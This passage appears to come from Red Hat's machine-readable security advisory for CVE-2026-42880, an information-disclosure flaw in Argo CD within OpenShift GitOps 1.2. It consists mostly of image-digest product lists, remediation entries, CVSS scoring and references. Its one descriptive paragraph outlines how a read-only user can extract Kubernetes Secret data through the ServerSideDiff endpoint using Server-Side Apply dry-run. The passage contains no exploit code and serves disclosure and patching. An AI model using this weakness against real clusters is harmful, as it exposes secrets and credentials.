            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:d126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:b07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:d0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:f79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-operator-bundle@sha256:407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:fa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:caef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:df5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2467882"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Argo CD, a GitOps continuous delivery tool for Kubernetes. A missing authorization and data-masking gap in the ServerSideDiff endpoint allows an attacker with read-only access to extract sensitive Kubernetes Secret data. This information disclosure occurs by leveraging the Kubernetes API server\u0027s Server-Side Apply dry-run mechanism, potentially exposing critical configuration and credentials.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "argoproj/argo-cd: Argo CD: Information disclosure of Kubernetes Secret data via Server-Side Apply dry-run mechanism",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425_ppc64le",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22_arm64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5_s390x",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:f393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb_amd64"
        ],
        "known_not_affected": [
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae_arm64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710_amd64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c_s390x",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778_ppc64le",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8_ppc64le",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e_amd64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:a70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865_arm64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:c9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3_s390x",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320_arm64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7_s390x",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc_ppc64le",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:bcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53_amd64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558_arm64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e_ppc64le",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573_amd64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192_s390x",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789_arm64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e_s390x",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e_ppc64le",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:d126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b_amd64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1_amd64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:b07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b_s390x",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:d0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3_ppc64le",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:f79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596_arm64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-operator-bundle@sha256:407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b_amd64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c_s390x",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5_amd64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18_ppc64le",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:fa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978_arm64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5_arm64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1_s390x",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec_ppc64le",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41_amd64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321_s390x",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354_arm64",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:caef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444_ppc64le",
          "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:df5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-42880"
        },
        {
          "category": "external",
          "summary": "RHBZ#2467882",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467882"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-42880",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42880"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42880",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42880"
        },
        {
          "category": "external",
          "summary": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3",
          "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"
        }
      ],
      "release_date": "2026-05-07T22:20:39.506000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-04-30T17:40:28+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:f393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb_amd64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHBA-2026:12433"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:a70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:c9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:bcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:f393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:d126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:b07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:d0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:f79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-operator-bundle@sha256:407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:fa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:caef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:df5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263_amd64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:a70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:c9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:bcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:f393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb_amd64",
